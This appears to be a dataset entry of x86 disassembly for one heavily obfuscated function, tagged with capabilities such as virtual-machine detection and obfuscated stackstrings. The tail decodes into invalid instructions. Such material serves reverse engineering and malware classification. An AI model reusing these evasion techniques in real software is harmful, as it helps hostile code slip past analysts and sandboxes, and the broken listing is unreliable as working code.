Function at 0x665592
Capabilities:
Check for vm using instruction vpcext
Contain obfuscated stackstrings
Reference the vmware io port

Disassembly:
mov ecx, dword [esp]
sub esp, 4
mov dword [esp], ecx
jmp 0x665391
mov edx, esp
push eax
mov eax, 0x7d7d13e0
inc eax
push eax
not dword [esp]
pop eax
sub eax, 1
shr eax, 2
and eax, 0x2230752e
sub eax, 0x20203102
add edx, eax
mov eax, dword [esp]
add esp, 4
push ebp
jmp 0x6658d8
mov dword [esp], ebp
mov dword [esp], ecx
mov ecx, 0x69643eea
mov eax, 0x673d4f
jmp 0x665408
add ebp, 0xa65111e
jmp 0x665207
add ebp, 4
jmp 0x6651fc
xor ebx, ebx
push dword [ebx + ecx]
push dword [esp]
push dword [esp]
jmp 0x6659a0
push ebx
push edi
mov edi, 0x745545b3
xor edi, 0x745545b7
mov ebx, edi
pop edi
jmp 0x66587f
mov esi, ebx
pop ebx
add esi, eax
jmp 0x665607
dec ebx
push edx
mov edx, 0xf3e3eaf
and ebx, edx
mov edx, dword [esp]
add esp, 4
jmp 0x665954
add esp, 4
sub esp, 4
mov dword [esp], esi
push eax
jmp 0x66588a
sub ecx, eax
sub ecx, 0x17aa2fdb
add ecx, 0x519a6731
add ecx, 0x4e116c76
pop eax
jmp 0x6653d2
push ebx
mov ebx, 4
jmp 0x6654f2
pop ebx
add ebp, 0x70bbcd
xor eax, ebp
jmp 0x6654d4
pop esp
sti
push ebx
mov ebx, esp
jmp 0x66595f
add esp, 4
jmp 0x665467
mov ecx, dword [esp]
add esp, 4
push dword [esp]
pop eax
jmp 0x66564b
push edx
mov dword [esp], esi
push ecx
mov ecx, 0x6cda0f9d
mov esi, ecx
pop ecx
sub esp, 4
mov dword [esp], ebx
mov ebx, 0x20a16632
add ecx, ebx
mov ebx, dword [esp]
add esp, 4
add ecx, esi
push edi
mov edi, 0x20a16632
sub ecx, edi
pop edi
pop esi
push ebp
mov dword [esp], ecx
push eax
pop ecx
pop eax
neg eax
xchg ecx, eax
sub ecx, 0xa7118e62
push eax
push ebp
push ecx
add dword [esp], 0x76d7307a
pop ebp
sub ebp, 0x76d7307a
mov eax, ebp
jmp 0x665895
add ecx, 0x6c1315b4
add ecx, 0x2f670335
add ecx, 0x753e398e
push ecx
push esp
jmp 0x6659be
mov edx, 0x7373df7
shr edx, 6
push 0x3305
mov dword [esp], edi
mov edi, 0x283e33c7
xor edi, 0x15ba5c31
jmp 0x665814
xor dword [esp], ebp
xor ebp, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
pop dword [ecx + ebx]
jmp 0x6655d4
pop esp
jmp 0x6651d3
mov dword [esp], ebx
jmp 0x665445
push 0x4aa6
mov dword [esp], edx
jmp 0x6657ed
pop esp
push esi
mov dword [esp], edx
jmp 0x6652a6
mov ebx, dword [esp]
add esp, 4
jmp 0x66599a
mov ecx, esp
add ecx, 4
jmp 0x6651a0
xor esi, 0x23712af
add eax, esi
pop esi
inc eax
push ecx
mov ecx, 0x34711e0b
inc ecx
shl ecx, 7
jmp 0x665846
pop edx
jmp 0x6658eb
inc edi
and edi, 0x56a77847
jmp 0x6658f6
pop ebp
add edx, 0x53898de3
push edx
pop ebx
pop edx
push edx
push eax
push ebx
sub dword [esp], 0x72af2979
pop eax
add eax, 0x72af2979
push eax
pop edx
pop eax
mov esi, edx
pop edx
mov ebx, dword [esp]
jmp 0x665398
mov eax, 0x4b7f246f
dec eax
push esi
mov esi, 0x40aa695a
and esi, 0x69352b0a
jmp 0x665317
push edx
jmp 0x66552c
mov ebx, 4
jmp 0x665a64
push eax
push esp
jmp 0x66550b
add esp, 4
push esi
not dword [esp]
pop esi
shr esi, 7
sub esi, 1
add esi, 0xfeba141a
add ecx, esi
pop esi
xchg dword [esp], ecx
jmp 0x665215
push 0x6f353f06
mov eax, dword [esp]
add esp, 4
jmp 0x665786
sub ebp, 0xa65111e
jmp 0x665460
sub ecx, 0x2f670335
push eax
jmp 0x6656bc
mov dword [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
mov esp, dword [esp]
xor ebp, dword [esp]
jmp 0x6652c6
add eax, 4
xchg dword [esp], eax
jmp 0x6659a9
sub eax, 0x7fd26ad8
add eax, ecx
add eax, 0x7fd26ad8
pop ecx
push eax
jmp 0x6653b7
pop edx
jmp 0x6653c7
sub esp, 4
mov dword [esp], eax
jmp 0x665684
add ebp, 0x2e16230f
mov eax, dword [esp]
add esp, 4
push 0x25c6
jmp 0x6655ba
mov ebx, 0x2b555d24
and ebx, 0x29d1540f
jmp 0x665381
add ecx, 0x17aa2fdb
jmp 0x6651e2
sub ebp, ebx
jmp 0x66517a
push 0x10eb
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
sub edx, edi
pop edi
sub eax, edx
mov edx, dword [esp]
add esp, 4
push esi
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
pop esp
mov dword [esp], eax
mov dword [esp], ecx
push 0x471774fa
jmp 0x6657b8
push 0x7d64
jmp 0x6653de
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
push dword [esp]
jmp 0x6659b6
pop ebp
push 0x5420
jmp 0x6655ee
or edx, 0x7d484a0e
push ebp
mov ebp, 0x9977cd0
and edx, ebp
jmp 0x665342
add ebp, 0x14580a92
add ebp, 0x5db973fc
sub ebp, ebx
push edi
mov edi, 0x3c2519e0
jmp 0x665336
pop dword [esp]
add dword [esp], 4
mov ecx, dword [esp]
add esp, 4
add ecx, 4
push esi
push 0x4845
jmp 0x66590a
sub esp, 4
mov dword [esp], ebx
push esi
mov esi, 0x2a9a2527
mov ebx, 0x3b25779c
sub ebx, esi
pop esi
mov edx, ebx
mov ebx, dword [esp]
add esp, 4
and edx, 0x3cbf2792
jmp 0x66565c
sub edi, 0xffffffff
shl edi, 4
and edi, 0x38e6289e
push eax
jmp 0x66536a
mov esi, 0x735422ab
sub ecx, esi
pop esi
add ecx, ebp
push edi
mov edi, 0x735422ab
add ecx, edi
pop edi
add ecx, 0x1b3e1883
mov ebp, dword [esp]
add esp, 4
xor eax, ecx
mov ecx, dword [esp]
push ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
sub ebp, 0x2e16230f
add ebp, 0x24112692
add ebp, eax
sub ebp, 0x24112692
jmp 0x66542f
mov dword [esp], ebp
push dword [esp + 4]
pop ebp
pop dword [esp]
pop esp
push edx
mov dword [esp], ebp
mov ebp, 0x11c91a67
jmp 0x6656a0
sub esp, 4
mov dword [esp], eax
mov dword [esp], edi
push eax
push 0x7f3
mov dword [esp], ecx
jmp 0x6659c6
mov dword [esp], ebp
jmp 0x6654bc
push edi
mov edi, 0x33e838ec
sub edi, 0x1002c4da
jmp 0x665559
pop eax
add ecx, esi
pop esi
sub esp, 4
mov dword [esp], ecx
push dword [esp + 4]
push dword [esp]
pop ecx
add esp, 4
pop dword [esp]
mov esp, dword [esp]
jmp 0x665190
add dword [esp], 0x6e7d41fd
pop eax
sub eax, 0x6e7d41fd
pop ecx
jmp 0x66570d
sub esp, 4
mov dword [esp], ebp
jmp 0x6656ab
add esp, 4
add ecx, eax
push dword [esp]
pop eax
jmp 0x665421
add edx, 0x5e374f48
xchg edx, eax
not eax
xchg edx, eax
neg edx
push eax
mov eax, 0x7b587632
sub edx, eax
pop eax
sub ebx, edx
jmp 0x66541b
add esp, 4
push ebx
jmp 0x665387
mov eax, esp
sub esp, 4
mov dword [esp], ebp
mov ebp, 4
add eax, 0x78c31bf5
add eax, ebp
jmp 0x66583b
xor ebp, 0x2c2b1cce
jmp 0x6656cd
mov ebp, 0x33aa6037
sub ecx, 0x1b3e1883
push esi
jmp 0x66556e
mov eax, 0x3ce5718e
sub eax, 0xd0d25bda
sub ecx, eax
jmp 0x6657af
shl ebp, 1
sub ebp, 1
push edi
jmp 0x6657a1
push 0x631b
mov dword [esp], ecx
mov ecx, 0x7c002a5e
jmp 0x665724
pop edi
jmp 0x665983
push ebx
push esp
pop ebx
push ecx
mov ecx, 0x7ac639ac
dec ecx
xor ecx, 0x7ac639af
add ebx, 0x119001fe
add ebx, ecx
jmp 0x6658bd
mov ebx, dword [esp]
add esp, 4
sub ecx, 0x4e116c76
sub ecx, 0x519a6731
jmp 0x665455
add ecx, 0x25763e78
push edx
mov edx, 0x5bbe36af
shr edx, 2
sub edx, 0xabb61609
or ecx, edx
pop edx
jmp 0x665236
add esp, 4
push 0x7a86
mov dword [esp], esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
mov ecx, dword [esp]
push eax
push esp
push dword [esp]
pop eax
add esp, 4
add eax, 4
add eax, 4
xchg dword [esp], eax
jmp 0x665a10
push ecx
mov ecx, 0x454e0c8e
jmp 0x66593d
add eax, 0xc6223f7
push 0x4a30
mov dword [esp], edi
mov edi, 0x79fd1e9e
add eax, edi
pop edi
push eax
jmp 0x665227
mov edi, 0x36926e7
or ebp, edi
pop edi
push edx
jmp 0x665137
pop eax
add ecx, dword [esp]
jmp 0x66528d
mov ecx, dword [esp]
add esp, 4
jmp 0x66563d
pop ebx
add ebx, 0x1b946ef1
mov edx, ebx
pop ebx
mov eax, edx
pop edx
pop ecx
push eax
add dword [esp], 0x495745f6
pop edi
push eax
mov eax, 0x495745f6
sub edi, eax
pop eax
pop eax
push esi
jmp 0x665826
push esi
mov esi, 0x457a79d4
mov edx, 0x5542d327
sub edx, esi
pop esi
push edx
push ebx
jmp 0x665330
neg ebx
xchg edx, ebx
sub edx, 0x84183d31
sub ecx, edx
pop edx
jmp 0x665a58
add edi, 0x494a5044
add edi, 0x6176494c
push esi
jmp 0x66591b
mov esi, 0x159d5e22
xor esi, 0x50d352ac
sub ebx, esi
pop esi
sub ebx, edi
jmp 0x66577b
sub eax, 0x78c31bf5
pop ebp
jmp 0x6653fd
sub ecx, 0x7c96449c
sub ecx, 0x49a1c32c
sub eax, ecx
pop ecx
or edi, eax
pop eax
push ebx
mov ebx, 0xa28028a
xor edi, ebx
push dword [esp]
mov ebx, dword [esp]
jmp 0x66521f
push 0xb3
mov dword [esp], ecx
sub dword [esp], 0x1b946ef1
jmp 0x6657c6
add ecx, ebx
pop ebx
xchg dword [esp], ecx
jmp 0x6652da
mov eax, 0x1743642b
push ebx
jmp 0x665990
pop ebp
push eax
sub dword [esp], 0x3b6158f8
pop ebx
add ebx, 0x3b6158f8
push dword [esp]
pop eax
add esp, 4
pop ecx
mov edx, ebx
pop ebx
push 0x14e7
jmp 0x665a03
sub ebx, 0x119001fe
pop ecx
add ebx, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
jmp 0x6652f5
mov ebp, 4
sub edx, ebp
pop ebp
xchg dword [esp], edx
mov esp, dword [esp]
jmp 0x6652e0
mov ebx, dword [esp]
add esp, 4
jmp 0x665802
add edi, 0x49945bbb
sub ebp, edi
pop edi
sub ebp, 0x14580a92
jmp 0x665a7d
mov dword [esp], ebx
push edx
mov edx, 0x48c076b9
add edx, 1
jmp 0x6654df
mov esi, 0x76034d21
xor esi, 0x5e62592a
and esi, 0x2200534d
sub esi, 0x83fbae87
sub edi, esi
pop esi
xor edx, edi
pop edi
jmp 0x6655f6
add ebx, ecx
pop ecx
pop edi
cmp ebx, 0xffffa0ac
jne 0x665192
sti
push ebx
jmp 0x6656d8
push edx
mov edx, 0x743d4d19
jmp 0x665a2a
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], eax
push ebx
push ecx
mov ecx, 0x50883a27
mov ebx, 0xe2740182
add ebx, ecx
pop ecx
jmp 0x6651bf
push ecx
push ebp
mov ebp, ebx
mov ecx, ebp
pop ebp
push ecx
jmp 0x66562a
mov ebx, 0xe8bc9bd9
jmp 0x6651b5
push ecx
jmp 0x66530a
push dword [esp]
pop eax
jmp 0x665741
mov esp, dword [esp]
mov ebx, 0x6559584
jmp 0x665a85
pop ebp
push edi
push esp
jmp 0x6659d4
mov ecx, dword [esp]
jmp 0x665678
push 0x28d83ed3
pop ecx
shl ecx, 7
jmp 0x6652e8
pop edi
push eax
mov eax, 0x3661d5
push ecx
mov ecx, 0x651a490a
sub eax, ecx
pop ecx
add eax, 0x64e3e739
add edi, eax
mov eax, dword [esp]
add esp, 4
add edi, 4
xchg dword [esp], edi
pop esp
jmp 0x665185
mov dword [esp], eax
push 0x79b6
jmp 0x665165
pop esp
sub esp, 4
mov dword [esp], esi
push dword [esp + 4]
pop esi
pop dword [esp]
mov esp, dword [esp]
jmp 0x6656f0
not edx
shl edx, 1
and edx, 0x34c6390e
xor edx, 0x23530eb8
xor ebx, edx
pop edx
not ebx
push edi
mov edi, 0xab294eab
sub ebx, 0x5677086c
add ebx, edi
add ebx, 0x5677086c
jmp 0x6656ea
push edx
sub esp, 4
mov dword [esp], ebx
jmp 0x66586b
sub ecx, 0x5d0754eb
add ecx, ebx
add ecx, 0x5d0754eb
push dword [esp]
push dword [esp]
jmp 0x6652ff
mov ebx, dword [esp]
jmp 0x6654b2
jmp 0x665e8e
mov byte [ebp + 0x198f19df], 0x53
mov eax, 0x83d7652c
nop
push eax
nop
push dword [ebp + 0x198f07c1]
call dword [ebp + 0x198f1738]
mov ebx, eax
push eax
mov dword [esp], ebx
lea eax, [ebp + 0x1994fb26]
push eax
mov dword [esp], eax
lea eax, [ebp + 0x1994fb58]
push eax
mov dword [esp], eax
call ebx
pop ebx
push eax
mov dword [esp], ebx
lea eax, [ebp + 0x1994fb9c]
nop
push eax
nop
lea eax, [ebp + 0x1994fb66]
push eax
mov dword [esp], eax
call ebx
pop ebx
xchg ebx, eax
push eax
xchg ebx, eax
lea eax, [ebp + 0x1994fbba]
nop
push eax
nop
lea eax, [ebp + 0x1994fb7b]
nop
push eax
nop
call ebx
pop ebx
lea eax, [ebp + 0x1994fbec]
push eax
mov dword [esp], eax
lea eax, [ebp + 0x1994fb8a]
nop
push eax
nop
call ebx
cmp byte [ebp + 0x1994fc1e], 0
je 0x665f4c
mov byte [ebp + 0x198f19df], 0x53
mov eax, 0x83d7652c
nop
push eax
nop
push dword [ebp + 0x198f07c1]
call dword [ebp + 0x198f1738]
mov ebx, eax
lea eax, [ebp + 0x1994fc5e]
push eax
mov dword [esp], eax
lea eax, [ebp + 0x1994fc1e]
nop
push eax
nop
call ebx
cmp dword [ebp + 0x1994fb00], 0
je 0x665f63
mov dword [ebp + 0x198f380e], 1
mov byte [ebp + 0x198f19df], 0x47
mov eax, 0x906d6c8d
push eax
mov dword [esp], eax
push dword [ebp + 0x198f07c1]
call dword [ebp + 0x198f1738]
call eax
mov edi, eax
cmp byte [edi], 0x22
jne 0x665fae
inc edi
mov al, 0x22
scasb al, byte es:[edi]
jne 0x665f8f
cmp byte [edi], 0
je 0x666345
inc edi
cmp byte [edi], 0
je 0x666345
jmp 0x665fcc
cmp byte [edi], 0
je 0x666345
cmp byte [edi], 0x20
jne 0x665fc6
inc edi
jmp 0x665fcc
inc edi
jmp 0x665fae
cmp byte [edi], 0
jne 0x665fda
jmp 0x666345
cmp byte [edi], 0x20
jne 0x665fe9
inc edi
jmp 0x665fda
cmp byte [edi], 0
jne 0x665ff7
mov eax, 0
test eax, eax
je 0x66635c
mov dword [ebp + 0x198f36ba], 0
cmp byte [ebp + 0x1994fb25], 0
je 0x666373
mov dword [ebp + 0x198f380e], 1
cmp dword [ebp + 0x198f0811], 0
je 0x6663d2
mov byte [ebp + 0x3b6a19df], 0x77
add bl, dh
mov ch, 0xd0
adc dword [eax - 0x77], 4
and al, 0xff
mov ch, 0xc1
pop es
invalid
mov ecx, eax
jmp 0x6665e7
jmp 0x6666cf